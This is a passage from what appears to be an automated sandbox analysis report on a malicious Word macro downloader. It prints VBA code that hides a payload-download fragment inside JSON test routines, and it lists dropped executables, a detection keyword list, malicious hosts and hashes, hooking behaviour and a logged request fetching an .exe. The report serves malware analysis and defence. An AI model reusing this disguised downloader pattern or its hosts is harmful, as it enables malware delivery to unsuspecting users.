left(SplitXMLString(SplitIndex) 1) = "/" And Len(IndentString) > 2 Then IndentString = left(IndentString, Len(IndentString) - 3) strOut = strOut & IndentString & "<" & _ SplitXMLString(SplitIndex) & vbCrLf SplitIndex = SplitIndex + 1 ElseIf left(SplitXMLString(SplitIndex + 1) 1) = "/" Then If InStr(1, left(SplitXMLString(SplitIndex) _ InStr(1, SplitXMLString(SplitIndex) ">")) _ " ") > 0 Then strOut = strOut & IndentString & "<" & _ SplitXMLString(SplitIndex) & vbCrLf SplitIndex = SplitIndex + 1 Else strOut = strOut & IndentString & "<" & _ SplitXMLString(SplitIndex) & "<" & _ SplitXMLString(SplitIndex + 1) & vbCrLf SplitIndex = SplitIndex + 2 End If Else strOut = strOut & IndentString & "<" & _ SplitXMLString(SplitIndex) & vbCrLf SplitIndex = SplitIndex + 1 End If Loop Until SplitIndex >= UBound(SplitXMLString) If left(SplitXMLString(UBound(SplitXMLString)) 1) = "/" Then If Len(IndentString) >= 3 Then IndentString = left(IndentString, Len(IndentString) - 3) End If End If strOut = strOut & IndentString & "<" & _ SplitXMLString(UBound(SplitXMLString)) PrettyPrintXMLToString = strOut End Function Private Function NewMessageSetID() As String NewMessageSetID = Format(Now, "XyyyymmddThhmmss") End Function", File "Module3.bas" (Streampath: "Macros/VBA/Module3") has code: "Public httpRequest As Object Private Sub ToString_test1() Dim lib As String Set lib = New ejsonlib Dim a As String Dim b As Date Debug.Print "=> ToString_test1" b = Now() Debug.Print "ToString_test1=" & libdd.dd.ToString(Array("a", "b", Array(1, b, "3"))) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED" End If Set lib = Nothing End Sub Private Sub ToString_test2() Dim lib As String Set lib = New ejsonlib Dim a As Object Dim b As Object Dim c As New Collection Debug.Print "=> ToString_test2" Set a = CreateObject("Scripting.Dictionary") Set b = CreateObject("Scripting.Dictionary") a("aaa") = "abc" a("bbb") = Array(0, 1, b) b("ccc") = "def" Set b("ddd") = c c.Add "ghi" c.Add 999 Debug.Print "libdd.dd.ToString(a)=" & libdd.dd.ToString(a) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED" End If Set lib = Nothing Set c = Nothing Set b = Nothing Set a = Nothing End Sub Private Sub parse_test1() Dim lib As String Set lib = New ejsonlib Dim json As Object Dim parseString As String Debug.Print "=> parse_test1" parseString = " " & vbCrLf & vbTab & " {}" Debug.Print "parseString=" & parseString Set json = libdd.dd.Parse(parseString) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED {}" GoTo PROC_EXIT End If Debug.Assert TypeName(json) = "Dictionary" Debug.Print "TypeName(json)=" & TypeName(json) "json.Count=" & json.Count Debug.Print parseString = " " & vbCrLf & vbTab & " []" Debug.Print "parseString=" & parseString Set json = libdd.dd.Parse(parseString) If libdd.dd.ParseError = "" Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED []" GoTo PROC_EXIT End If Debug.Assert TypeName(json) = "Collection" Debug.Print "TypeName(json)=" & TypeName(json) "json.Count=" & json.Count PROC_EXIT: Set json = Nothing Set lib = Nothing End Sub Private Sub parse_test2() Dim lib As String Set lib = New ejsonlib Dim json As Object Dim parseString As String Debug.Print "=> parse_test2" parseString = " " & vbCrLf & vbTab & " {}" Debug.Print "parseString=" & parseString Set json = libdd.dd.Parse(parseString) Debug.Print "libdd.dd.ToString(json)=" & libdd.dd.ToString(json) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED" End If Set json = Nothing Set lib = Nothing End Sub Private Sub parse_test3() Dim lib As String Set lib = New ejsonlib Dim json As Object Dim strEmbed As String Dim errString As String Debug.Print "=> parse_test3" strEmbed = " [[], {""test1"":" Debug.Print "strEmbed=" & strEmbed Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbed) Debug.Print "libdd.dd.ToString(json)=" & libdd.dd.ToString(json) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED" End If Set json = Nothing Set lib = Nothing End Sub Private Sub parse_test3a() Dim lib As String Set lib = New ejsonlib Dim json As Object Dim strEmbedValid As String Dim errString As String Debug.Print "=> parse_test3a STRICT JSON" strEmbedValid = " [[], {""test1"":""v1"", ""test2"":""v222"", ""test3"":""v33333""}, null , ""test"", 123, 567.8910, 4.7e+10, true, false]" Debug.Print "strEmbedValid=" & strEmbedValid Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbedValid) Debug.Print "libdd.dd.ToString(json)=" & libdd.dd.ToString(json) If libdd.dd.ParseError = vbNullString Then Debug.Print "VALIDATED" Else Debug.Print libdd.dd.ParseError Debug.Print "FAILED" End If Set json = Nothing Set lib = Nothing End Sub Private Sub parse_test4() Dim lib As String Set lib = New ejsonlib Dim json As Object Dim errString As String Dim strEmbed As String Debug.Print "=> parse_test4" strEmbed = "[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]""" Debug.Print "strEmbed=" & strEmbed Set json = libdd.dd.Parse("[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]") Debug.Print "libdd.dd.ToString(json)=" & libdd.dd.ToString(json) errString = libdd.dd.ParseError If errString = "" Then Debug.Print "VALIDATED" Else Debug.Print errString Debug.Print "FAILED" End If Set json = Nothing Set lib = Nothing End Sub Public Sub parse_test5() Dim lib As String Dim json As Object Dim Text As String Dim res1 As String Dim res2 As String Dim errString As String Set shellApp = CreateObject("Shell.Application") With CreateObject("ADODB.Stream") .Type = 1 .Open .write httpRequest.responseBody .savetofile tempFile 2 .Close End With Exit Sub Debug.Print "text=" & Text Set json = libdd.dd.Parse(Text) Debug.Assert Err.Number = 0 res1 = libdd.dd.ToString(json) Set json = libdd.dd.Parse(libdd.dd.ToString(json)) Debug.Assert Err.Number = 0 res2 = libdd.dd.ToString(json) errString = libdd.dd.ParseError If errString = "" Then Debug.Print res1 Debug.Print res2 Debug.Assert (res1 = res2) Debug.Print "VALIDATED" Else Debug.Print errString Debug.Print "FAILED" End If Set json = Nothing End Sub Private Sub skip_test() Dim lib As String Set lib = New ejsonlib Dim str As String Dim index As Long Dim errString As String Debug.Print "=> skip_test" str = vbCrLf & vbCr & vbLf & " " & "abc" index = 1 libdd.dd.SkipChar str index Debug.Assert index = 6 Debug.Print "index=" & index "Mid(str, index, 1)=" & Mid(str, index, 1) Set lib = Nothing End Sub"25:T69a,"~$Normal.dotm" has type "data" "~WRS{E06B916A-0BBF-495F-9071-E1539A5BAC3A}.tmp" has type "FoxPro FPT, blocks size 0, next free block index 218103808, 1st used item "\375"" "opa12.dat" has type "data" "~$0c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6.doc" has type "data" "_70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e_pmB3A6.LNK" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Normal, ctime=Fri Nov 20 11:18:22 2015, mtime=Fri Nov 20 11:18:22 2015, atime=Fri Nov 20 11:18:22 2015, length=106496, window=hide" "Lokaler Datentrger (Z).LNK" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Directory, ctime=Fri Nov 20 18:19:50 2015, mtime=Fri Nov 20 18:21:14 2015, atime=Fri Nov 20 18:21:14 2015, length=4096, window=hide" "index.dat" has type "data" "87i4g3d2d2[1].exe" has type "PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows" "trume1.exe" has type "PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows" "CabD6BE.tmp" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file" "TarD6BF.tmp" has type "data" "CabD8F3.tmp" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file" "TarD8F4.tmp" has type "data" "94308059B57B3142E455B38A6EB92015" has type "data" "CabF0A3.tmp" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file" "TarF0A4.tmp" has type "data" "157_252_245_32[1].txt" has type "data" "Word12.pip" has type "data" "SCHEDLGU.TXT" has type "Little-endian UTF-16 Unicode text, with CRLF, CR line terminators" "setupact.log" has type "ASCII text, with CRLF line terminators"26:T4b7,Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command" Found suspicious keyword "WScript.Shell" which indicates: "May run an executable file or a system command" Found suspicious keyword "CreateObject" which indicates: "May create an OLE object" Found suspicious keyword "Open" which indicates: "May open a file" Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings" Found suspicious keyword "Output" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Print #" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "Microsoft.XMLHTTP" which indicates: "May download files from the Internet" Found suspicious keyword "Lib" which indicates: "May run code from a DLL" Found suspicious keyword "Shell.Application" which indicates: "May run an application (if combined with CreateObject)" Found suspicious keyword "Write" which indicates: "May write to a file (if combined with Open)" Found suspicious keyword "ADODB.Stream" which indicates: "May create a text file" Found suspicious keyword "SaveToFile" which indicates: "May create a text file"27:T4e4,Found malicious artifacts related to "88.86.117.154" (ASN: 39392, Owner: SuperNetwork s.r.o.): ... URL: http://ananan.wz.cz/index5.htm (AV positives: 1/66 scanned on 11/20/2015 10:09:12) URL: http://nato.xf.cz/ (AV positives: 1/66 scanned on 11/20/2015 09:19:48) URL: http://sdtrwnh.webzdarma.cz/Boasecure/sign-in.html (AV positives: 5/66 scanned on 11/20/2015 08:41:49) URL: http://rapheal.webz.cz/googledocuments/index.htm (AV positives: 5/66 scanned on 11/20/2015 08:32:20) URL: http://accountidentification.euweb.cz/grd/2083351308.html (AV positives: 5/66 scanned on 11/20/2015 08:30:55) File SHA256: 8e74d308629929f17ad1759da05863a87b7037a19bb72431b76dcf0aaab806cb (AV positives: 4/53 scanned on 11/20/2015 11:20:11) File SHA256: d59e7584d01727ff36e103af956ae3dc048d585b31ef6172ce903236019176cd (AV positives: 1/55 scanned on 11/20/2015 08:32:25) File SHA256: 432f3090318be5319830803dd6808238e79cf4c712dc7e94a3101753a0b5a9f2 (AV positives: 34/56 scanned on 11/20/2015 00:07:27) File SHA256: 635dc77c9a9dec61ec15812217fee82794bfd22b84f425d708d118e96c7c3ce1 (AV positives: 37/55 scanned on 11/17/2015 01:49:56) File SHA256: 06cd2b7569845ab0d649ff3e07b4b28c20794f7c90fc6c7e3023de66a3346022 (AV positives: 1/55 scanned on 11/13/2015 16:40:08)28:T629,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Users\wa1wUrc\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{713FD58D-9FFB-4849-8121-A5FD527655BE}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FDE3979D-543A-447B-A596-4DA1F8896750}.tmp" "WINWORD.EXE" touched file "C:\Users\wa1wUrc\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{85C77B5C-446C-4A67-A819-2C453EAEF2B0}.tmp"29:T887,"WINWORD.EXE" wrote bytes "0010a4fcfe070000" to virtual address "0xFCA5FE18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "726ce3036525d601" to virtual address "0xE9C72350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "e9abc0dcffcc" to virtual address "0xFDB54060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "48b8601398f3fe070000ffe0" to virtual address "0xFCA41340" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013a4fcfe070000" to virtual address "0xFCA5FE10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013a4fcfe070000" to virtual address "0xFCA5FB48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFDA850C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "0010a4fcfe070000" to virtual address "0xFCA5FE50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e933f0dcff" to virtual address "0xFDB51180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "4013a4fcfe070000" to virtual address "0xFCA5FB10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0010a4fcfe070000" to virtual address "0xFCA5FB50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b8bc525be7fe070000ffe0" to virtual address "0x76E79020" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "4013a4fcfe070000" to virtual address "0xFCA5FE48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0010a4fcfe070000" to virtual address "0xFCA5FB18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "adb99e036525d601" to virtual address "0xF4E70160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFCA58538" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e0508d036525d601" to virtual address "0xE89CD610" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "e8fa14036525d601" to virtual address "0x3F143258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFCA58468" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b8e01198f3fe070000ffe0" to virtual address "0xFED81000" (part of module "WS2_32.DLL")2a:T72b,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA100") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA101")2b:Ta92,"WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.CreateObject" ... "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.open" ... "WINWORD.EXE" called "WScript.Shell.1.CreateObject" ... "WINWORD.EXE" called "WScript.Shell.1.Environment" with result: "IDispatch" ... "WINWORD.EXE" called "WScript.Shell.1("Environment").Item" with result: "%TEMP%\ ..., "WINWORD.EXE" called "Shell.Application.1.CreateObject" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.CreateObject" ... , "WINWORD.EXE" called "ADODB.Stream.6.0.Type" ... , "WINWORD.EXE" called "Microsoft.XMLHTTP.1.0.responseBody" with result: " 404 - Not Found Webzdarma.cz

$\"WebZdarma.cz$ Facebook\" (Indicator: \"facebook.com\")\n \"

\" (Indicator: \"twitter\")\n \"Twitter\" (Indicator: \"twitter\")","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Heuristic match: \"picDedd.sc\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/67 reputation engines marked \"http://webimg.webzdarma.cz/assets/css/logo.png\" as malicious (2% detection rate)\n 1/77 reputation engines marked \"http://pr-clanky.kvalitne.cz\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"h.@.8.0\"\n Pattern match: \"ifa@counth32.compression8\"\n Pattern match: \"script@5.dictary\"\n Pattern match: \"n.nur@0b.r\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with interesting strings","description":"Found pattern type \"Executable file name\" with value: \"Shell.Application\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-16","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE Possible Malicious Macro DL EXE Feb 2016\" (SID: 2022550, Rev: 18, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)\n Detected alert \"ET MALWARE Possible Malicious Macro EXE DL AlphaNumL\" (SID: 2022566, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"47/60 Antivirus vendors marked sample as malicious (78% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document analysis contacts a domain","description":"Often seen on documents with macro droppers\n embedded files or exploits","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"trume1.exe\" sleeping for \"00161000\" milliseconds\n \"trume1.exe\" sleeping for \"00174000\" milliseconds\n \"trume1.exe\" sleeping for \"00172000\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 157.252.245.32 on port 2448\n TCP traffic to 89.32.145.12 on port 8443","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$2a","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$2b","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"ntvdm.exe\" (UID: 00019100-00003116) was launched with new environment variables: \"WecVersionForRosebud.AA0=\"4\"\"\n Process \"ntvdm.exe\" (UID: 00019100-00003116) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"WINWORD.EXE\" called \"OpenService\" to access the \"PcaSvc\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"WINWORD.EXE\" called \"OpenService\" to access the \"rasman\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /65y3fd23d/87i4g3d2d2.exe HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: pr-clanky.kvalitne.cz\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2c","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET CURRENT_EVENTS Potential W32/Dridex Alphanumeric Download Pattern\" (SID: 2021607, Rev: 6, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro DL EXE Feb 2016\" (SID: 2022550, Rev: 15, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Possible Malicious Macro EXE DL AlphaNumL\" (SID: 2022566, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":55,"imported_dlls_count":221,"dropped_files_count":0,"extracted_files_count":38,"files_written_count":264,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":202,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":212,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["adnel","donoff","macros-on-open"],"sample_flags":["Network Traffic","Extracted Files","Carved Files"],"sandbox_reports":[{"id":"5eb5a2446348681422474358","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Downloader","contacted_countries":["CZE"],"submit_name":"pmB3A6.doc","analysis_start_time":"2020-05-08T18:17:50+00:00","indicators_count":{"informative":22,"suspicious":7,"malicious":9},"tags":["Network 